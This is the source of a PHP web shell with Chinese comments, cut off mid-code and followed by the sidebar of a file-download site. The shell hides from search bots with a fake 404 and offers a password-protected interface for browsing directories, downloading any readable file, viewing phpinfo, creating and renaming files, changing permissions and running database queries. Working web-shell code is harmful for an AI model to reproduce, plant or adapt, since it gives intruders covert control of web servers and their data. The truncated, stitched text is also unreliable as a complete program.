<?php
//ini_set('display_errors',1);
@error_reporting(7);
@session_start();
@set_time_limit(0);
@set_magic_quotes_runtime(0);
if( strpos( strtolower( $_SERVER['HTTP_USER_AGENT'] ), 'bot' ) !== false ) {
header('HTTP/1.0 404 Not Found');
exit;
}
ob_start();
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
define('SELF', $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']);
define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
define('IS_GPC', get_magic_quotes_gpc());
$dis_func = get_cfg_var('disable_functions');
define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
if( IS_GPC ) {
$_POST = s_array($_POST);
}
$P = $_POST;
unset($_POST);
/*===================== 程序配置 =====================*/
//echo encode_pass('angel');exit;
//angel = ec38fe2a8497e0a8d6d349b3533038cb
// 如果需要密码验证,请修改登陆密码,留空为不需要验证
$pass = 'ec38fe2a8497e0a8d6d349b3533038cb'; //angel
//如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
// cookie 前缀
$cookiepre = '';
// cookie 作用域
$cookiedomain = '';
// cookie 作用路径
$cookiepath = '/';
// cookie 有效期
$cookielife = 86400;
/*===================== 配置结束 =====================*/
$charsetdb = array(
'big5' => 'big5',
'cp-866' => 'cp866',
'euc-jp' => 'ujis',
'euc-kr' => 'euckr',
'gbk' => 'gbk',
'iso-8859-1' => 'latin1',
'koi8-r' => 'koi8r',
'koi8-u' => 'koi8u',
'utf-8' => 'utf8',
'windows-1252' => 'latin1',
);
$act = isset($P['act']) ? $P['act'] : '';
$charset = isset($P['charset']) ? $P['charset'] : 'gbk';
$doing = isset($P['doing']) ? $P['doing'] : '';
for ($i=1;$i<=4;$i++) {
${'p'.$i} = isset($P['p'.$i]) ? $P['p'.$i] : '';
}
if (isset($charsetdb[$charset])) {
header("content-Type: text/html; charset=".$charset);
}
$timestamp = time();
/* 身份验证 */
if ($act == "logout") {
scookie('loginpass', '', -86400 * 365);
@header('Location: '.SELF);
exit;
}
if($pass) {
if ($act == 'login') {
if ($pass == encode_pass($P['password'])) {
scookie('loginpass',encode_pass($P['password']));
@header('Location: '.SELF);
exit;
}
}
if (isset($_COOKIE['loginpass'])) {
if ($_COOKIE['loginpass'] != $pass) {
loginpage();
}
} else {
loginpage();
}
}
/* 验证结束 */
$errmsg = '';
$uchar = '▲';
$dchar = '▼';
!$act && $act = 'file';
//当前目录/设置工作目录/网站根目录
$home_cwd = getcwd();
if (isset($P['cwd']) && $P['cwd']) {
chdir($P['cwd']);
} else {
chdir(SA_ROOT);
}
$cwd = getcwd();
$web_cwd = $_SERVER['DOCUMENT_ROOT'];
foreach (array('web_cwd','cwd','home_cwd') as $k) {
if (IS_WIN) {
$$k = str_replace('\\', '/', $$k);
}
if (substr($$k, -1) != '/') {
$$k = $$k.'/';
}
}
// 查看PHPINFO
if ($act == 'phpinfo') {
if (IS_PHPINFO) {
phpinfo();
exit;
} else {
$errmsg = 'phpinfo() function has disabled';
}
}
if(!function_exists('scandir')) {
function scandir($cwd) {
$files = array();
$dh = opendir($cwd);
while ($file = readdir($dh)) {
$files[] = $file;
}
return $files ? $files : 0;
}
}
if ($act == 'down') {
if (is_file($p1) && is_readable($p1)) {
@ob_end_clean();
$fileinfo = pathinfo($p1);
if (function_exists('mime_content_type')) {
$type = @mime_content_type($p1);
header("Content-Type: ".$type);
} else {
header('Content-type: application/x-'.$fileinfo['extension']);
}
header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
header('Content-Length: '.sprintf("%u", @filesize($p1)));
@readfile($p1);
exit;
} else {
$errmsg = 'Can\'t read file';
$act = 'file';
}
}
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=<?php echo $charset;?>">
<title><?php echo $act.' - '.$_SERVER['HTTP_HOST'];?></title>
<style type="text/css">
body,td{font: 12px Arial,Tahoma;line-height: 16px;}
.input, select{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
.red{color:#f00;}
.black{color:#000;}
.green{color:#090;}
.b{font-weight:bold;}
.bt {border-color:#b0b0b0;background:#3d3d3d;color:#fff;font:12px Arial,Tahoma;height:22px;}
a {color: #00f;text-decoration:none;}
a:hover{color: #f00;text-decoration:underline;}
.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 15px 5px 5px;}
.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 15px 5px 5px;}
.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffa;padding:5px 15px 5px 5px;}
.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 15px 5px 5px;font-weight:bold;}
.head td span{font-weight:normal;}
.infolist {padding:10px;margin:10px 0 20px 0;background:#F1F1F1;border:1px solid #ddd;}
form{margin:0;padding:0;}
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
.drives{padding:5px;}
.drives span {margin:auto 7px;}
</style>
<script type="text/javascript">
function checkall(form) {
for(var i=0;i<form.elements.length;i++) {
var e = form.elements[i];
if (e.type == 'checkbox') {
if (e.name != 'chkall' && e.name != 'saveasfile')
e.checked = form.chkall.checked;
}
}
}
function $(id) {
return document.getElementById(id);
}
function createdir(){
var newdirname;
newdirname = prompt('Please input the directory name:', '');
if (!newdirname) return;
g(null,null,'createdir',newdirname);
}
function fileperm(pfile, val){
var newperm;
newperm = prompt('Current dir/file:'+pfile+'\nPlease input new permissions:', val);
if (!newperm) return;
g(null,null,'fileperm',pfile,newperm);
}
function rename(oldname){
var newfilename;
newfilename = prompt('Filename:'+oldname+'\nPlease input new filename:', '');
if (!newfilename) return;
g(null,null,'rename',newfilename,oldname);
}
function createfile(){
var filename;
filename = prompt('Please input the file name:', '');
if (!filename) return;
g('editfile', null, null, filename);
}
function setdb(dbname) {
if(!dbname) return;
$('dbform').tablename.value='';
$('dbform').doing.value='';
if ($('dbform').sql_query)
{
$('dbform').sql_query.value='';
}
$('dbform').submit();
}
function setsort(k) {
$('dbform').order.value=k;
$('dbform').submit();
}
function settable(tablename,doing) {
if(!tablename) return;
if (doing) {
$('dbform').doing.value=doing;
} else {
$('dbform').doing.value='';
}
$('dbform').sql_query.value='';
$('dbform').tablename.value=tablename;
$('dbform').submit();
}
function s(act,cwd,p1,p2,p3,p4,charset) {
if(act != null) $('opform').act.value=act;
if(cwd != null) $('opform').cwd.value=cwd;
if(p1 != null) $('opform').p1.value=p1;
if(p2 != null) $('opform').p2.value=p2;
if(p3 != null) $('opform').p3.value=p3;
if(p4 != null) {$('opform').p4.value=p4;}else{$('opform').p4.value='';}
if(charset != null) $('opform').charset.value=charset;
}
function g(act,cwd,p1,p2,p3,p4,charset) {
s(act,cwd,p1,p2,p3,p4,charset);
$('opform').submit();
}
</script>
</head>
<body style="margin:0;table-layout:fixed; word-break:break-all">
<?php
formhead(array('name'=>'opform'));
makehide('act', $act);
makehide('cwd', $cwd);
makehide('p1', $p1);
makehide('p2', $p2);
makehide('p3', $p3);
makehide('p4', $p4);
makehide('charset', $charset);
formfoot();
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$ui
a19770310
- 粉丝: 1
- 资源: 22
最新资源
- 学校课程软件工程常见10道题目以及答案demo
- javaweb新手开发中常见的目录结构讲解
- 新手小白的git使用的手册入门学习demo
- 基于Java观察者模式的info-express多对多广播通信框架设计源码
- 利用python爬取豆瓣电影评分简单案例demo
- 机器人开发中常见的几道问题以及答案demo
- 基于SpringBoot和layuimini的简洁美观后台权限管理系统设计源码
- 实验报告五六代码.zip
- hdw-dubbo-ui基于vue、element-ui构建开发,实现后台管理前端功能.zip
- (Grafana + Zabbix + ASP.NET Core 2.1 + ECharts + Dapper + Swagger + layuiAdmin)基于角色授权的权限体系.zip
资源上传下载、课程学习等过程中有任何疑问或建议,欢迎提出宝贵意见哦~我们会及时处理!
点击此处反馈
- 1
- 2
前往页